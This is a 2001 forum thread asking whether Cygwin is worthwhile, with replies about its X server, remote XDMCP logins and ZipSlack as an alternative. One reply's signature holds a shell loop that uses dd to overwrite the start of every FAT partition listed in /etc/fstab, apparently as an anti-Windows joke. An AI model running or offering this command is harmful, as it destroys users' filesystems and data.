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invictus

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« on: 6 December 2001, 08:03 »
Just downloaded this... is this any good, for people who just are too damn lazy to download Linux/ or too damn poor to pay for other OSes?  

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« Reply #1 on: 6 December 2001, 12:15 »
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Originally posted by Invictus:
Just downloaded this... is this any good, for people who just are too damn lazy to download Linux/ or too damn poor to pay for other OSes?      


It does allow you to run some of the basic file utilities under a brain dead OS but it's definately not a replacement for Linux.  It is a decent Xwindows base.  In fact the XDMCP connections to a remote server running XDM seems to work well.  Allows you to graphically log into a remote *NIX server running an xdm compliant login manager.  If you connect to a remote linux machine you can log in with your choice of Windows Managers like kde, gnome, enlightenment, fvwm, etc (assuming they are installed on the remote server).  If you have to have graphical connectivity from a Windows box to a *NIX box I would prefer this over VNC and it's much cheaper (free) than Xceed and other third party Win X servers.

Better yet, find someone who will give you a copy of a recent Linux distro.
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for i in `grep fat /etc/fstab | cut -c1-10`
do
  dd if=/dev/zero of=$i bs=1024 count=1000
done

[ December 06, 2001: Message edited by: VoidMain ]

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« Reply #2 on: 8 December 2001, 02:51 »
cygwin is nice, but it takes a while to download that as well. of course, it's not as big as any other 'full' distro - have you tried zipslack? (http://www.slackware.com/zipslack, i think). it's about 30MB, and it can be installed on a FAT filesystem.